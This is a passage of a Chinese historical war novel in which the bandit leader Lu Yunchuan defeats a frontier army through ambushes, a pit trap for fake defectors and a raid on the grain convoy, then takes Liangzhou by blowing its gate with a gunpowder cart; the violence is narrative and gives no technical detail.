陈世钊就要招呼掘子军隐藏,可还没等他们走上几步。 突然,头顶的城墙上亮起火光,埋伏在四周的守军一齐杀出,迅速将掘子军围得水泄不通。 “惊不惊喜,意不意外?” 陆云川背着手,傲然走出阵列。 陈世钊咬了咬牙,挖掘地道,已几乎耗光了他们所有力气,眼下被全权包围,若硬扛的话必定死路一条。 “放下武器,咱们做兄弟,好吃好喝招待;若执迷不悟,便将你们通通吊死在城上之上!” 宋康手中长枪一挥,上百把弓弩齐刷刷抬起。 谁不怕死? 全都怕死! “哐当……” 陈世钊率先扔掉锄头,其余掘子军纷纷缴械投降。 “很好,城东刚好在煮宵夜,识时务者皆有一口饱饭。” 陆云川摆了摆手,众掘子军被押往城东。 “那个……我有一事不明,若能得知,死而无憾。” 陈世钊望着陆云川问道:“你是如何发现我们在掘道的?我自认为已经十分谨慎了。” 陆云川笑着指了指半截埋在土里的瓷罐,道:“瓷瓮搭线,地听之术。” 陈世钊哑然,眼中闪过一批敬佩,抱拳低头: “陆首领,有智慧,王将军此番怕是……唉!” 毕竟身上还穿着边军铠甲,怎能说这些话?陈世钊叹了口气,低头受降离去。 “当家的,我去让人把洞填上?”宋康问道。 “不,方才那牵头挖地道的,已经派人回去传信,我觉得王彦还会增派人手来钻地道。” 陆云川自信道,“咱们不妨再等等,来他个守株待兔。” 第九十八章 一寸长一寸强 “王将军,地道已打通,陈统领特派我回来禀报!” 一名掘子军士卒冲进中军大帐禀报。 “好!陈世钊果然不负所托!” 王彦大喜,即刻召集众将入营,道:“地道已通,刀斧手可趁夜潜入,待天亮时举火放狼烟为号,我率大部队与之里应外合!” 他又扫了一眼众将:“那么,谁愿意拔得这破城之功?” 副将赵猛抱拳请命:“末将愿率五百精锐,明日一早必将匪首生擒,开城献于将军!” “好!不愧是我帐下猛将!” 王彦满意地点头:“记住,进城后先占粮仓,再开城门!” “末将听令!” …… 四更时分,赵猛在掘子军的引领下,与五百刀斧手,悄无声息来到城西地道口。 赵猛极为谨慎,先蹲守了片刻,确认四周无人,才冲身后道: “跟紧我的脚步,切莫闹出动静。” 而后,一马当先钻进地道。 地道内阴冷潮湿,火把摇曳,映照出士兵们紧绷的面容。 在钻出地道后,赵猛探出头,左右看了几眼,确认安全后才钻出地道,招呼后续部队跟上。 两刻钟后,五百名刀斧手全部进入城墙。 “不对啊,陈世钊怎没派人接应?”赵猛突然生疑。 “这……”引路的掘子军说道:“将军放心,若咱们地道若被发现,肯定会被填平,它还畅通说明——” “说明有人在守株待兔。” 陆云川的声音从城墙上传来。 霎时间,暗伏在地道口附近的守军举着火把冲出,与先前包围陈世钊那般,将赵猛等刀斧手团团包围。 “有埋伏!” “列阵御敌!” 但不同于陈世钊,赵猛所领之人,皆是边军精锐,第一时间便缔结方阵,背靠背建立起了防御阵仗。 “如今有几百支把弩箭对着你们,只要我一声令下,你们便会被射成刺猬,何必再做无谓的抵抗?” 陆云川高声劝道:“速速缴械投降,好吃好喝一切从优,如若不然,死无葬身之地!” “哼,我等军人,本应该视死如归,何需马革裹尸还!” 赵猛挥刀怒喝,“兄弟们,随我杀出一条血路!” “慢!” 陆云川出声呵止,陷阵之士,有血性,他很欣赏。 就凭那句“视死如归,马革裹尸”,此人便必须收入麾下。 “我若对你们进行围歼,你们必死无疑,念你是个忠义勇士,那么我便给你们一个逃生的机会。” 陆云川指了指身旁的宋康,“你来与我部将单挑,若你能胜,我便放你们离开;若你败了,就向我投降,如何?” 赵猛看了一眼身后的将士们。 谁不怕死呢?没有人不怕死,若强行突围必定全军覆没,单挑或许还能博得一线生机。 “你此话当真!”赵猛咬牙问道。 陆云川轻轻吐一个字:“真。” “好……你要战,我便战!” 赵猛持刀上前,宋康提枪迎战。 二人展开激烈交锋! 刀枪相互碰撞,擦出耀眼火花! 二人实力应当是不相上下的,大战了六十回合,依旧没能分出胜负。 双方战至八十回合,都已气喘吁吁,力气逐渐用尽。 但所谓“一寸长一寸强”,刀与长枪相比,始终要处于弱势。 在双方实力对等的情况下,长枪要更占据优势。 宋康也最终凭借这一优势,一击漂亮的“回马枪”挑飞了赵猛手中佩刀。 “哐当!” 刀跌落在地,赵猛也跪倒在地,纵有百般不甘,可输了便是输了! “哐当,哐当……” 身后刀斧手,纷纷扔掉刀剑,方才二人一番精彩的对决,他们都已看在眼里,甘愿投降! “喂。” 宋康收起长枪,叉着腰冲赵猛喊了一句。 赵猛抬头疑惑。 “我赢你,胜在兵器,下回……咱们短兵,再一较高下!” 宋康撇了撇嘴,扭头回到阵中。 赵猛愣了,本以为对方会说些数落嘲讽的话,没想到竟这么谦虚。 敌人是敌人,对手是对手,有本事的人,向来英雄惜英雄。 火光映照下,陆云川缓步走来,扶起地上的赵猛: “我猜,你心里还是不愿意投降对么?” 赵猛咬牙羞愧,把头一偏,的确如此。 “没关系,我不会杀你,更不会放你回去,并且我相信,总有一天你会归顺于我。” 陆云川摆了摆手,“带去城东,不许虐待,夜宵招待。” “是!” 守军将赵猛等士卒押走。 “该说不该说,那家伙本领还真不赖,若同样用短刀,恐怕我还不是他的对手。” 宋康心有余悸,又问:“当家的,万一我方才输了,你真的会放他们走嘛?” “当然不会了。” 陆云川还不至于蠢到将这么一批精英放回去,但又舍不得杀了,便抛出单挑对赌的筹码。 这也相当于给那帮边军精英一个台阶下,能赢固然最好,输了结果也一样,己方怎么都不会亏。 陆云川一直坚定一个原则,那便是,物尽其用,人尽其才。 “王彦会派人掘地道偷袭,肯定是想里应外合,内外夹击,你去从那群边军战俘口中撬一撬,应该能问出边军攻城的时间。” “明白!” …… 翌日清晨。 王彦眺望城墙,果然见西侧升起三缕狼烟——正是约定信号! 当即命令军队开拔,天色大亮时分,再度兵临城下。 城内火光冲天,嘈杂声四起。 “赵猛与陈世钊已搅乱县城内部!” “全军进攻!” 王彦挥剑怒吼。 凉州军鼓噪而进,云梯、冲车再度推向城墙。然而—— “放箭!” 城头突然箭如雨下,鱼油,炸药,滚木,雷石倾泻如初,攻势瞬间瓦解! 王彦愕然:“赵猛,陈世钊何在!还不快速速开门!” “嗖!” 突然,一物与王彦擦身而过,死死定在他战马脚下,吓得马失前蹄,险些叫他跌落马背。 王彦乍得一瞧,竟然是一根铁锹! 此时,城头响起陆云川的大笑:“王将军,你的精兵们正在我这儿喝茶呢,你要不要上来一起?” 王彦面色铁青,终于明白中计! 边军见主将计策屡屡被破,再加之损失惨重,士气彻底崩溃,未等鸣金便自行溃退。 “可恨啊!!!” 王彦暴跳如雷,却无可奈何,只得狼狈收兵回营。 第九十九章 边军诈降 夜色如墨,边军营内篝火零星。 这才刚刚春节过,天气乍暖还寒,思乡气氛在军营中蔓延。 边军连败两阵,死伤惨重,营中士气低迷。 士气这种东西,一旦衰弱,便很难再提升了。 寒风吹得篝火噼里啪啦地响,士兵们三三两两聚在一起,无精打采,低声议论着: “听说了吗?陈统领的三百掘子军,还有赵将军的五百刀斧手都被活捉了……" "活捉?不是说战死了吗?" "战死?放他娘的屁,呵……我有个同乡是哨兵,亲眼看见陈世钊被押上城墙,连根头发丝儿都没少!” 围着篝火的士兵喉结滚动,咽了口唾沫,眼神闪烁不定。 不远处,一个瘦高的军官阴沉着脸走过来,士兵们立刻噤声,各自低头扒拉着碗里的捞不到几粒米稀粥。 “都给我闭嘴!再敢扰乱军心,军法处置!”军官厉声呵斥,手按在刀柄上,指节发白。 士兵们唯唯诺诺地点头,但等军官走远,议论声又窸窸窣窣地响起来。 “王将军还要打?再打下去,咱们都得死在这儿……" "朝廷连粮饷都克扣,咱一个月才几百文钱,玩儿什么命啊?" "要是能像赵将军那样……” 话没说完,但所有人都明白那未尽之意。 …… 这时,陆云川站在平川县城头,望着远处灯火稀疏的凉州军营,嘴角微微上扬。 军心快要涣散了吧? “周大彪。” “属下在!” “你挑几个精明能干的弓弩手,带上抄写的劝降书,就从城西那条地道偷偷钻出去,往边军营帐里射。” “明白!” …… 此刻,中军大帐内,王彦一把将桌上的酒杯扫落在地,瓷片飞溅。 "废物!都是废物!" 他额头青筋暴起,双眼布满血丝,像一头暴躁的困兽在帐内来回踱步。 黄杰低着头站在一旁,知道发怒的老虎屁股摸不得,大气都不敢出, "陈世钊被抓,赵猛也被俘……现在连军心都乱了!“ 王彦猛地转身,瞪着黄杰道:”黄通判,本将军是为你们凉州剿匪,你说!现在该怎么办?“ 黄杰脸色发白,结结巴巴道:”王将……将军,不如再求增援……" "还求增援?“ 王彦怒极反笑,”抽调三万边军来替你剿匪已是极限,再增援,蛮子打过来怎么办?何况粮草已经不足,你答应我的粮草呢!" “已经在路上了……”黄杰叹道。 “我不管!最后两日,若再不运来粮草,就是冒着战败之罪,老子也要撤军,不管你这档子破事儿了!” 王彦怒哼一声,狠狠一拳砸在案几上,木屑四溅。 就在这时,哨兵匆匆进帐,手里捧着一支箭:“将军,方才营外放来的暗箭!” 王彦一把抓过箭,取下绑着的信笺,快速扫视。 信上字迹工整,言辞恳切: “边军将士:尔等皆为朝廷卖命,却连粮饷都拿不全。陆某不忍多造杀孽,愿降者,既往不咎,一视同仁。” 落款是陆云川的亲笔签名,还盖着白顶山寨的大印。 “想乱我军心?姓陆的,可恨啊!” 王彦盯着信笺,就要将其撕碎。 “王将军且慢。” 黄杰忽然拉住王彦,“在下忽然心生一计。” “何计?但讲无妨!” “既然姓陆的来劝降,我们何不将计就计……来他个诈降投诚,趁机破门?” 黄杰盯着劝降书,眼神奸诈无比。 王彦眼睛一亮,直呼:“妙,妙计啊!看不出来啊黄通判,你还有些智慧!” 黄杰又道:“为了避免姓陆的引起怀疑,我们应该让精兵假扮病残,趁天蒙蒙亮,视野不好时,假装诈降。” "好,就此计,挑选三百精锐,假装伤病员举白旗诈降,进城后立刻抢占城门,以举火为号!” “这一次,本将军将亲自率领骑兵冲锋陷阵!" …… 次日清晨,天刚蒙蒙亮。 三百边军丢盔弃甲,高举白旗,踉踉跄跄地向城门走去,为了更加逼真,他们故意弄得狼狈不堪,撕破衣服,在身上抹了血,装作伤兵。 “城墙上的兄弟别放箭!我等昨夜收到降书,趁清晨监军不备,偷偷跑了出来,还望陆当家的遵循信上承诺,收留我们……” 诈降兵团中,一名校尉声嘶力竭地喊着,声音里满是"惶恐"。 城头上,陆云川负手而立,嘴角噙着一丝若有若无的笑意。 昨天发的降书,今天便来投城,会不会太快了? 何况这么多伤兵,敌营监军是瞎子么? 就算监军是瞎子,斥候与哨兵总会有吧? 这诈降之计,破绽百出啊。 "当家的,这帮人不太对劲儿!"周大彪说道。 “哦?周堂主也看出来了?”陆云川挑眉问道。 周大彪指了指城下兵团,“你瞧,那些降卒的步伐虽然蹒跚,但破烂衣袖下肌肉既紧绷又结实,我也是时常会受伤的人,伤痛之下,根本就不会有这种精气神。" 连周大莽夫都能看出来一眼假,那这帮人基本上就不会有真的了。 “城门后的坑挖好了吗?”陆云川问道。 “早在大半个月前就挖好了,长有十丈,深三丈,为的就是防御敌人破城进门。”周大彪说道。 “将坑中地刺清除,打开城门,再给他们一个机会。” “是!” “开城门!” 尘封了三日之久的城门,吱呀呀打开半扇。 诈降团校尉眼中闪过一丝喜色,回头对"降卒"们使了个眼色,众人会意,低着头快步向城门走去。 等全部进入城门后。 “兄弟们,夺门之功,属于咱们——” 诈降团校尉刚从怀中摸出刀斧,话都还没说完。 "轰!" 地面突然塌陷,三百人齐刷刷跌入深坑! "啊——" 惨叫声此起彼伏,三丈深坑虽不致命,但摔下去足以让人痛得失去行动能力。 降卒摔得七荤八素,挣扎着爬起来,抬头望去—— 坑边站满了手持弓箭的守军,冰冷的箭矢齐刷刷对着他们。 陆云川背手站在地坑边,冷冷俯视着众降卒,“若我在坑中设地刺,你们早已肠穿肚烂,那么,再问你们一次,真降,还是假降?” 不降,就得死! 降卒面面相觑,相继跪地投降。 第一百章 压死骆驼的最后一根稻草 城外五里处。 王彦率领八百铁骑兵,紧盯着缓缓打开的城门。 这个距离,只要降卒能将城门吊住半刻钟,以骑兵冲锋的速度便可杀入城中。 "进去了!他们进去了!"黄杰激动地低呼。 “起火了么?” 王彦握紧佩剑,恨不得把脖子伸到城门口,只要城内有烟火,就立刻挥军攻城。 一息、两息…… 城门处静悄悄的,没有任何动静。 "到底他妈怎么回事?"王彦眉头紧锁,不祥的预感涌上心头。 突然,城头上竖起一面大旗,上面龙飞凤舞地写着八个大字: "多谢馈赠,三百降卒!" 一排排被捆成粽子的降卒被推到城垛前,陆云川含笑矗立城头。 常胜将军? 玩儿不死你! “王将军……城墙上,都是派去的降卒……他们……全部真降了!” 斥候快马回来禀告。 这一消息,无疑像是一记重拳,狠狠砸在了这位不可一世的常胜将军心头。 王彦眼前一黑,差点从马上栽下来。 "将、将军!"黄杰慌忙扶住他。 王彦一把推开黄杰,声嘶力竭地吼道:"攻城!给老子攻城!" 但这一次,连亲兵都站在原地没动。 "将军……"黄杰硬着头皮劝道,"士气已崩,强行攻城只会白白送死啊!" 王彦环顾四周,对上一张张麻木、恐惧的脸。他知道,这仗已经打不下去了。 “回……回营,撤军……撤军!” …… 其实自攻城以来,边军并没有受多少损失,前后两次正面强攻,加上被陆云川所俘获,总共也不超过五千人。 边军体量仍在,只是战斗意志大跌。 古语云:“夫战,勇气也,一鼓作气,再而衰,三而竭。” 军队一旦失去士气,人再多也如同一盘散沙。 王彦独坐在中军大帐中,早已没了刚来时的意气风发,一个“常胜将军”连地方匪患都镇压不了,传出去岂非遭人耻笑? 更何况他好不容易才爬到都统治这个位置,若钦差死在凉州,他必然会遭到连坐。 至于黄杰,他头上任何一项罪名都足以判处死罪,镇压匪患救出钦差,是他唯一能将功赎过的机会, 所以在军营中,最不希望撤兵的便是黄杰了。 “王将军,都打到这个份儿上了,若撤军的话岂不是功亏一篑么?”黄杰劝道。 “黄通判,你真是站着说话不腰疼,攻城的这几日,我们有占到对方一点便宜么?”王彦懊恼无奈。 “我这里还有一计,用好了说不定便能反败为胜。”黄杰说道。 王彦都懒得再看这文官,上一次说诈降妙计,结果一点儿作用没起到,还反折去三百精兵。 “说说看吧,再信你最后一次!” “眼下我们最要紧的是提升士气。” 黄杰说道:“方才凉州传来消息,粮草今夜便能运到,我们何不大摆一场宴席,杀鸡宰羊,让将士们痛痛快快吃喝一场; 酒肉吃进肚子里,必定能提升不少士气,而后咱们再趁热打铁,明日向平川县发动决战! 你想啊,那帮土匪虽有火器在手,可平川县毕竟是小城,没有护城河,也没有瓮城,咱们两万多人,哪怕拿一万人堆尸体,也能高过城墙了吧?” “拿一万人去堆尸体,你这是想让本将军绝户么!” “王将军啊,你得权衡利弊才行,若能剿灭匪患,救出钦差,那将是大功一件,死点儿人又算什么,大不了我从凉州给你抓壮丁补上; 可是匪患不除,钦差横死凉州,遭到连坐不说,你十几年累积的军功与威名都将毁于一旦!” 经黄杰这么一分析,王彦陷入了沉思。 黄杰再上前,继续旁敲侧击,“那钦差谢安是何等身份,将军不会不知道吧?他可是当朝权臣谢太师的亲侄儿! 将军若能从土匪手中救下谢安,加官进爵,荣华富贵,还不是谢老太师打个喷嚏的事儿么?啊?” 王彦眼睛一亮,疑虑顿消,“还是黄通判考虑得长远!” 他拍案决定道:“好!就依黄通判之计,粮草一到,今夜酒肉劳军,明日与那群土匪决一死战!” “将军明智!” …… 此刻,平川县城墙上。 陆云川用望远镜眺望着军营方向,内心不禁冷笑:还不撤退么?看来骆驼还没有迎来压死它的最后一根稻草。 “当家的,经过我们一番探查,边军营中造饭的火灶,从十人一口变成了二十人一口,说明他们的粮食即将消耗殆尽。” 千目堂的探子上城门禀报。 粮食都快吃光了,还不撤退,只能说明很快便会有新的粮食运到。 是时候该动用张三儿了。 陆云川从怀中摸出一封信件递给探子,叮嘱道:“你将这封密信火速送往白水涧,交到张三儿手中。” “明白!” 探子接过信封,扭头走下城墙。 什么是压死骆驼的最后一根稻草? 粮食便是压死骆驼的最后一根稻草! …… 白水涧。 水寨大堂。 张三儿接过探子送来的密信,仔细阅读了一遍,哈哈大笑: “平川县打得那么火热,眼下终于到我们白水涧立功的时候了!” “当家的有令,要我们今夜袭击从凉州运来的粮草,抢得走的便走,抢不走的便一把火烧了,总之,一粒米都不能给边军留!” 立春过后,冰河解冻,黑河边六十里官道,都是白水涧的势力范围, 哪怕凉州方不走官道,也可以渡口为据点,抢了粮草便搬上货船,只要船一开,哪怕官兵想追也追不到。 这也是为何陆云川要在白水涧屯兵五千的主要原因,在交通不发达的古代,谁控制了水路,谁便控制了粮道。 当天傍晚,白水涧出动了八艘战船,轻舟快艇七十余只,共计四千名喽啰,逆水而上向凉州进发。 “张老大,据歇马滩开黑店的兄弟传来消息,凉州此次运粮队共有两千人,他们没走河边官道,而走的是内陆小道,不过离咱们最近的渡口‘歇马滩’只有不足十里。” “哼,不走官道?难道水匪就不能陆地作战了么?” “所有兄弟听着,给老子把刀刃磨锋利了,今夜咱们就在歇马滩登陆埋伏!” 第一百零一章 东奔西逃 “张老大,来啦来啦,运粮队来啦!” “老子眼睛又没瞎,当然看得到火光!” 今夜无月,漆黑如墨。 内陆小道上,运粮队高举着火把,两千人的队伍如一条长龙,正加急往平川县方向赶。 运粮的后勤部队,基本上都是厢军与民夫,真正保镖的带甲士卒,不过五百余人,骑兵也不过六七十骑。 张三儿与众匪,身裹白布匍匐在小道旁的雪地中,完美与积雪融为一体。 “兄弟们,干完这一票,大家过肥年!” “蒙面!” “拔刀!” “杀啊!” “白顶山劫道,识相地留下粮草,硬抗者死!” 突如其来的冲锋,让运粮队猝不及防,仿佛有千军万马一般,到处都是喊杀声。 民夫们哪里见过这种阵仗,还没等众匪靠近,撒丫子便往雪原里逃跑。 剩下几百名士卒,在面对四千人的包围,根本毫无招架能力。 这批粮草,我白顶山,照单全收了! …… 边军营,中军大帐。 “这都二更天了,为何粮草还没送来?黄通判,你莫不是在诓我?” 王彦焦急在帐中来回踱步。 “为避免被劫道,运粮队走的是小道,大概是会慢些,将军不用着急——” “报!” 一名铠甲染血的百夫长,跌跌撞撞冲进中军大帐: “王将军,黄通判,运粮队在经过歇马滩时,遭到白顶山土匪截杀,两千石粮食全……全被土匪抢走了!” “什么!” 王彦如遭晴天霹雳。 这一消息,仿佛压死骆驼的最后一根稻草。 没有粮,军心必散,战争必败! “噗!” 王彦一口热血呛出,整个人都倒了下去,“快……传我军令,连夜开拔,撤……撤退!” 讲最后一道军令,闭眼昏死了过去。 黄杰面如死灰,也如一滩烂泥软在了地上,这两千石粮食,是收剐多少民脂民膏才凑齐的,一夜之间全没了…… 我为何当初要招惹白顶山啊! …… “当家的,边军营连夜开拔,正在向凉州方向撤退。” 千目堂探子来报。 陆云川轻嗯了声,他早从望远镜里看到,敌营熄灭了所有火光,肯定是拔营撤退了。 “贤侄,多亏了有你啊,平川县守住啦。” 李良带着笑容走上城墙,这么些天来,他还是第一次上城墙。 “守住县城只是第一步,我的反攻才刚刚开始呢。”陆云川淡淡说道。 “莫非你还要乘胜追击不成?见好就收行了,对面可是还有两万多人呢……”李良出声劝道。 “是啊,还有两万多人,还有凉州城,若不将他们全都吃掉,我很难睡得着觉。” 陆云川眺望着凉州城的方向,取出四张信条递给探子,叮嘱道: “去,飞鸽传书,白顶山,黑云山,白水涧,故人庄,他们都可以动了。” “明白!” 探子接过信条迅速跑下城墙。 “贤侄竟……还要取凉州?” 李良震惊得几乎合不拢嘴。 凉州是边关的战略要冲,取它作为根据地,割据一方,自立为王。 “叔父,稍后你随我出城,我带你去找那黄杰报仇雪恨。” 陆云川转而招呼: “周大彪,宋康。” “属下在!” “留两千人守城,其余三千士卒,全部轻装上阵,随我绕道出城,疾走三台县!” “是!” …… 此刻,边军这边。 纸终究包不住火,粮草被劫的消息,迅速便传遍军中。 又冷又饿,又饥又渴,再加上接连几天败仗,每个士卒都垂头丧气。 王彦躺在一辆板车上,虽从昏迷中醒了过来,但脸色苍白,毫无精气神。 一个骑马打仗的将军,竟然躺在板车上,简直奇耻大辱。 黄杰六神无主坐在车头,经过此番败退,他肯定死劫难逃,眼下唯一的生路,便是想办法投靠蛮国。 “啊啊啊!” “白顶山匪爷驾到,狗官速速前来受死!” 胡大勇一骑绝尘,率领千余喽啰,从黑暗中杀奔而来。 “杀啊!” “轰隆!” 杀声,爆炸声,火光,刀光,划破夜空。 “不好,有埋伏,快逃啊!” 边军哪里还有心缔结防御,丢盔弃甲四处逃窜。 就这么一声怒吼,起码逃去了四五千人。 “哼,还什么边军呢,老王,比咱们当初差远了!” “就是就是!” “可惜陆头儿不让追击,不然我挨个儿将他们砍翻!” 胡大勇高高抬起手臂,示意喽啰不用追击。 边军仓皇逃窜。 黑灯瞎火也不知方向,一万多人跟无头苍蝇似的。 莫约跑了十来里地,每个边军士卒都已气喘吁吁。 “王将军,人马俱疲,我们停下来休息片刻吧——” 不等黄杰话音落下。 “白顶山沈风在此,速速缴械投降!” “杀啊!” 沈风率领喽啰,突然从黑夜中杀出。 “还有埋伏,快逃啊!” 经过这么一恐吓,边军又跑散数千人。 剩下的部队又奔袭了几里地。 “故人庄崔世军在此!狗官哪里跑!” “又有埋伏,逃……逃不动了!” 边军士卒们高度紧绷的神经几乎崩溃,干脆都不逃了,直接扔掉兵器,原地跪下投降。 第三度恐吓,边军再削弱几千人。 残余的边军跑到了黑河边! “白水涧张三儿,早已在此等候多时!” 张三儿率数千水匪,从岸边渡口,一直延伸到河面,火把如同长龙,根本望不到尽头。 逃! 东奔西逃! 最终两万五千人的边军,逃得只剩下不足四千亲兵。 “想我王彦征战十余年,竟会死得如此狼狈,可恨啊!” 王彦仰天悲号,“呛”一声拔出佩刀,“我宁死,也不被土匪活捉!” 他当即便要挥刀自刎。 “将军且慢,还有破局!” 黄杰赶忙阻止王彦道:“离黑河不远,便是三台县城,如今那里已是一座空城,我们何不以亲兵据城而守,只需坚持两三日,雍州必定会发兵来救援的!” 王彦咬了咬牙,终究松开了手中佩刀,大声呼喊道: “所有将士听令,退守三台县!” 第一百零二章 假道伐虢 “诸位军士,再坚持片刻,前方便是三台县了!” 黄杰指着映入眼帘的三台县城,高声鼓舞士气。 几度惊吓逃跑,人马具已到了极限,可眼前这座县城真的是希望么? 边军来到县城之下,正打算进城之时,忽然,城头亮起无数道火光。 “王将军,陆某已在此处等候多时了!” 火光与陆云川的出现,彻底扼杀了边军最后一丝希望,逃不动了,也根本逃不掉。 黄杰被吓得摔下了马车。 王彦面如死灰,他知道自己彻彻底底的败了。 “放下兵器,立刻投降!” 胡大勇,沈风,张三儿,崔世军,分别带人从四路向县城靠近,彻底锁死了边军的退路。 “哐当……” 边军士卒接连扔下兵器,跪地受降。 三台县城门缓缓打开,陆云川与李良慢步而出。 先来到黄杰面前。 “叔父,报仇的时候到了。” 陆云川摸出袖中短刀递给李良。 亲手杀死仇人,这才叫爽快。 黄杰大骇,跪着爬到李良脚下,“李兄,我所做之事,都是无奈之举……都,都是郑建指示我这么做的……念在大家都是同窗一场,这次你就饶我一命吧!” 原本李良还有些犹豫,可一旦听见“同窗”二字,眼中杀机骤起。 同窗,同窗,背后捅枪! 人就是太老实善良,才会被恶人欺负到头顶! 不在沉默中死去,就在沉默中爆发! 李良抓过陆云川手中的短刀,大喊了一声,一刀刺进了黄杰心脏。 黄杰瞪大眼睛,他到死都不相信,这个柔弱的书呆子,会操刀杀人。 李良踉跄后退,险些摔倒在地。 陆云川却扶住他笑道:“恭喜你啊叔父,遗愿清单又完成了一件。” 而后他令道:“来人,将黄杰尸首暂时扣下,稍后我有大用。” “是!” 喽啰拖走了黄杰尸体。 陆云川又来到王彦跟前,淡然道:“王将军,抛开恩怨不谈,我很欣赏你,何不归顺于陆某,共图大业?” “哼,败军之将,有死而已!” 王彦拔出佩刀,当场自刎而亡。 陆云川长叹了一口气,像王彦这类高阶武将,有家室,有名誉,肯定不愿意投降。 军人死于战场,反而是荣耀。 “来啊,将王将军马革裹尸,来日送还故土。” “是!” “众白顶山喽啰听令,与边军降卒换甲换旗,半个时辰后,咱们直取凉州!” “明白!” 随后众匪便与降卒在三台县内交换甲胄与军旗。 此乃“假道伐虢”之计。 “当家的,纵使咱们换了边军甲胄,可大军突然抵临凉城,凉城那帮人估计也会怀疑吧?” 沈风提出异议,又道:“凉州墙高门厚,还有护城河,守军肯定也不少,万一咱们计划失败了该如何?” “所以还需要一个关键。”陆云川自信笑道。 “关键?” “钦差谢安。” 不然陆云川留这钦差一命干嘛?就是为了今后赚取凉州城门而用。 从决定打这场仗开始,凉州便已被他纳入盘中菜单。 半个时辰后。 众匪与降卒已换甲完成,“边军”大军趁夜开赴凉州。 “这是我用王彦的将印所写的一封信,张三儿,你亲自扮作边军斥候将此信送往凉州城,务必交到郑建手中。” “明白!” “谢安的车驾可准备好了?” “回禀当家的,护送人员,马车,以及车底下暗藏的两百斤火药,都已准备妥当。” “才两百斤火药?不够不够,凉州城门坚固,给我再加两百斤!” “明白!” …… 一个时辰后。 “快马急报,平川县百里加急!” 张三儿扮作斥候,快马冲进凉州城。 闻此消息的郑建,连夜召集凉州官吏,汇聚于州衙内。 “王将军亲笔书写,郑大人亲启!” 张三儿将信封奉给郑建。 郑建取出信件扫了一眼,脸上忧喜参半。 “郑大人,是捷报还是败讯?”一旁的凉州副统制陈友问道。 “一半各一半吧。” 郑建叹道:“就在方才我们发去的粮草,遭到了土匪劫掠,边军没得到粮草,已决定从平川县撤兵了; 不过好在王将军派遣掘子军,打通了一条地道,将钦差大人暗中给营救了出来,已经往凉州送来了。” 说完,他又叹了口气,“真没想到,连装备精良的边军都奈何不了这帮土匪,未来咱们这些凉州官吏的日子,怕是不好过了……” “大人确定这军报是真实的么?” 副统制陈友怀疑道:“边军撤退得也太快了,而且钦差大人被救的消息,为何会与撤退同时传回?” “这……” 经过这么一质疑,郑建有些犹豫了,他反复看了几遍信纸,“王将军的字迹我没有见过,但这信上落款的印章,确确实实的边军公章,岂能有假?” “万一这公章有假呢?或者印信被偷?” 陈友目光犀利瞪向张三儿,“这些情报来得实在太突然,郑大人,咱们还是谨慎些好。” 郑建有些举棋不定了。 “这位将军,在说笑么?” 张三儿冷声道:“我们王将军,乃是西北出了名的‘常胜将军’,若非你们凉州的粮草被劫,我们岂会撤军? 再者,这可是边军公章,雕刻复杂且不说,王将军吃饭睡觉都将他压在枕头底下; 边军营戒备森严,怎可能会被偷走? 还有,印信可以是假的,钦差这种大活人该不会有假吧? 郑大人若实在不信,稍后钦差被送到城门口时,可以亲眼去看一看,亲口问一问! 哼!我们边军从边关过境帮助凉州剿匪,浴血奋战了五天五夜,到头来却被你们怀疑,我一个斥候都觉得不值! 告辞!” 张三儿转身夺门而出,骑上快马便往城外飞奔。 再不脚底抹油,万一真给抓起来,那岂不是亏大了? “方才那斥候说得有理,是真是假,等钦差大人送回来,亲眼看看便是了。” 郑建叹道:“剿匪失败不要紧,顶多罚俸降职,若钦差被杀,你我必将连坐死罪!钦差能送回来便好,送回来便好……” “那也不得不防一手,郑大人,我去调集守备军,不论对方何时抵达凉城,咱们都要等到天亮后,视野好了再确认放人进城。”陈友说道。 “如此也好。” 第一百零三章 江山如此多娇 “边军”进入凉州城郊时,恰好天地破晓,迎来了清晨黎明。 “停!” 陆云川抬手,军队停下脚步,而后他用望远镜,目测了一番凉州城的距离,大约有个五六里。 若靠得太近,势必会引起凉州守军的怀疑,保持一定的距离,则可以让他们放松警惕。 “宋康,沈风,你们领五百骑兵,全部轻装上阵,但见城门被破,即刻发起冲锋。” “明白!” 七八里的距离,轻骑兵眨眼就能杀到。 先用炸药马车破门,再用骑兵冲锋,最后步兵入城,凉州尽在掌中。 “世军,谢安状态如何?”陆云川又问。 “回陆头儿,这厮经过几日的关押折磨,差不多已经半傻状态了吧,治好了也会流口水,不过至少还是活的。”崔世军说道。 “嗯……待会儿就看你们的了,一定要记住,炸门时要躲好,毕竟四百斤炸药,威力可不小。”陆云川叮嘱道。 “放心吧陆头儿,咱们心中有数!” 于是,崔世军,马山等十八名故人庄客,装作护送钦差车驾的边军,向凉州城进发。 此刻,凉州城墙上,郑建与陈友并肩而立,望着五里开外的边军,以及小股钦差车驾,郑建庆幸道: “看样子,边军真的只是借道而已,离咱们这么远;还有那钦差车驾,也才不过十八人。” “但还是不可掉以轻心,待会儿大人一定要见到钦差才能放吊桥开城门。”陈友说道。 “自然如此。” 一刻钟后。 钦差车驾来到护城河前。 “喂,城墙上的可是郑建郑大人?我们将军撤军,恰好路过凉州,便让我等将钦差送回来,快开城门放我们进去吧!” 崔世军扯着嗓子冲城墙上大喊。 “请让谢大人出来说话,确认了过后,便放你们进城!”陈友在墙上喊道。 “好!” 崔世军打开马车,将谢安给带了出来。 经过几日的关押与恐吓,谢安已经精神崩溃,不过是他就是他,模样怎么也变不了。 郑建睁大眼睛打量了许久,确定了是谢安,又挥手喊道:“谢大人,你可能搭话?” 谢安虽已半傻,但再怎么也记得自己姓名,不停冲城墙上大喊:“我世伯是当朝谢太师!我爹是吏部侍郎!我娘是三品诰命夫人……” “是钦差大人,必然是他,声音是,长相也是!” 郑建已完全确认了谢安的身份,当即招呼道:“快,放吊桥,开城门,将谢大人请回来!” 吊桥缓缓放下,城门缓缓打开,陈友亲自带着一队士卒出城相迎。 将车驾赶过吊桥后,车旁护送的崔世军与赶车的马山对了个眼神。 崔世军当即取出火折子,点燃了暗藏在马车下方引线。 马山挥鞭狠狠抽在马屁股上。 “嘶——” 马匹吃痛长嘶,发狂往城门冲去。 “快闪避!” 马山与崔世军等护卫扭头便往护城河里跳。 “不好!有诈!” “快拦下马车!” 狂奔的马车,又岂是能拦得住的,当陈友等人反应过来时,马车已经冲到城门口。 “滋滋滋……” 与此同时,引线燃烧殆尽。 “轰隆!!!” 一声震天巨响,黑火药骤然爆炸。 连同陈友等士卒,瞬间被火光吞噬,连惨叫都来不及,一时间血肉横飞! 城门被炸成碎片,整面城墙都为之颤抖! 